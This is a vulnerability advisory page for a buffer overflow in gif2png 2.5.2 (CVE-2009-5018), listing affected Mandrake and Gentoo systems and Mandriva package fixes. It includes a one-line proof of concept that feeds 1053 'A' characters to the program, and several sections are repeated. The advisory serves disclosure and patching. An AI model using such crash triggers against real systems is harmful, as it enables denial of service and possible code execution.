gif2png Remote Buffer Overflow Vulnerability
BID:41801
Info
gif2png Remote Buffer Overflow Vulnerability
| Bugtraq ID: | 41801 |
| Class: | Boundary Condition Error |
| CVE: |
CVE-2009-5018 |
| Remote: | Yes |
| Local: | No |
| Published: | Dec 12 2009 12:00AM |
| Updated: | Jan 14 2011 07:12PM |
| Credit: | Razuel Akaharnath |
| Vulnerable: |
MandrakeSoft Linux Mandrake 2010.1 x86_64 MandrakeSoft Linux Mandrake 2010.1 MandrakeSoft Linux Mandrake 2010.0 x86_64 MandrakeSoft Linux Mandrake 2010.0 MandrakeSoft Linux Mandrake 2009.0 x86_64 MandrakeSoft Linux Mandrake 2009.0 Gif2png Gif2png 2.5.2 Gentoo Linux |
| Not Vulnerable: | |
Discussion
gif2png Remote Buffer Overflow Vulnerability
gif2png is prone to a remote buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied input.
Successfully exploiting this issue may allow remote attackers to execute arbitrary code in the context of the application. Failed exploit attempts will cause denial-of-service conditions.
gif2png 2.5.2 is vulnerable; other versions may also be affected.
gif2png is prone to a remote buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied input.
Successfully exploiting this issue may allow remote attackers to execute arbitrary code in the context of the application. Failed exploit attempts will cause denial-of-service conditions.
gif2png 2.5.2 is vulnerable; other versions may also be affected.
Exploit / POC
gif2png Remote Buffer Overflow Vulnerability
The following proof-of-concept is available:
$> ./gif2png $(perl -e 'print "A" x 1053')
The following proof-of-concept is available:
$> ./gif2png $(perl -e 'print "A" x 1053')
Solution / Fix
gif2png Remote Buffer Overflow Vulnerability
Solution:
Updates are available. Please see the references for more information.
MandrakeSoft Linux Mandrake 2009.0 x86_64
MandrakeSoft Linux Mandrake 2010.0 x86_64
MandrakeSoft Linux Mandrake 2010.1 x86_64
MandrakeSoft Linux Mandrake 2010.1
MandrakeSoft Linux Mandrake 2009.0
MandrakeSoft Linux Mandrake 2010.0
Solution:
Updates are available. Please see the references for more information.
MandrakeSoft Linux Mandrake 2009.0 x86_64
-
Mandriva gif2png-2.5.1-4.1mdv2009.0.x86_64.rpm
http://www.mandriva.com/en/download/
MandrakeSoft Linux Mandrake 2010.0 x86_64
-
Mandriva gif2png-2.5.1-6.1mdv2010.0.x86_64.rpm
http://www.mandriva.com/en/download/
MandrakeSoft Linux Mandrake 2010.1 x86_64
-
Mandriva gif2png-2.5.2-2.1mdv2010.2.x86_64.rpm
http://www.mandriva.com/en/download/
MandrakeSoft Linux Mandrake 2010.1
-
Mandriva gif2png-2.5.2-2.1mdv2010.2.i586.rpm
http://www.mandriva.com/en/download/
MandrakeSoft Linux Mandrake 2009.0
-
Mandriva gif2png-2.5.1-4.1mdv2009.0.i586.rpm
http://www.mandriva.com/en/download/
MandrakeSoft Linux Mandrake 2010.0
-
Mandriva gif2png-2.5.1-6.1mdv2010.0.i586.rpm
http://www.mandriva.com/en/download/